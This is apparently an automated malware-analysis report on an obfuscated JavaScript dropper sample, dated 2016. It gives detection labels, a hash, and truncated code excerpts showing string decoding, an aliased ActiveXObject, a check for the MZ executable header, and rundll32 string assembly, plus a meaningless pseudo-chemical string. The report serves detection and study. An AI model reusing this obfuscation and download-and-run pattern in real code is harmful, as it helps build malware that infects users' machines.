Hostile ^100% javascript-malware-collection Download

20161221_1d8c01e19441432f42181a52b58095a9.js

Obfuscated ActiveX payload execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-25699d332f62d1ce2d4e9ba1617d5ce2c1c7360bd05e549eec2deb356c12936b9f3

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchiktenaciousFROG2XCOP = 0;	
9     var SupchiktenaciousRazlomSS, SupchiktenaciousFROG2ddDccC2, SupchiktenaciousFROG2c3, SupchiktenaciousFROG2c4;
10
11     var SupchiktenaciousFROG2out = "";
12
13	 var SupchiktenaciousFROG2Supchiktenaciouska= this.replace(/FROSTICK/gi, SupchiktenaciousFROG2out);
14 var  SupchiktenaciousFROG2len = SupchiktenaciousFROG2 …

charCodeAt() method call lines 18–20

7… r Supchiktenaciouskoch = SupchiktenaciousFROG2Supchiktenaciouska.charCodeAt(SupchiktenaciousFROG2XCOP++) &(0x132- 0x33);
          SupchiktenaciousRazlomSS = levitron[Supchiktenaciouskoch];
      } while (SupchiktenaciousFROG2XCOP < Supchik …

Builds characters with String.fromCharCode lines 27–30

43… 1== 0)
          break;
      SupchiktenaciousFROG2out += String['fromCharCode']((SupchiktenaciousRazlomSS << 2) | ((SupchiktenaciousFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchiktenaciousFROG2c3 = Supchik …

ActiveXObject via local alias lines 185–188

22… FROG2d2=SupchiktenaciousFROG2DoUtra.pop();
186SupchiktenaciousFROG2fabled="Valar2Morgulis";
var SupchiktenaciousFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchiktenaciousFROG2d2.split("45");SupchiktenaciousFROG2Native.SupchiktenaciousFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchiktenaciousFROG2$type(a)= …

Checks array for PE magic bytes lines 257–264

82… abaev);	
if(SupchiktenaciousTalabaevLaa < 29989)return false;
if (SupchiktenaciousTalabaev[0]!= 77 || SupchiktenaciousTalabaev[1]!= 90)return false;		
SupchiktenaciousFROG2CHICKA = SupchiktenaciousFROG2CHICKA  + SupchiktenaciousFROG2SIDRENKOV;
REBEKK2(SupchiktenaciousFROG2CHICKA, SupchiktenaciousTalabaev );
262
var SupchiktenaciousFROG2ddsSSddSd = ",happy";
264SupchiktenaciousFROG2ddsSSddSd = (SupchiktenaciousFROG2StrokaParam2,"undl") + (SupchiktenaciousFROG2StrokaParam2,"l32 ") + Su …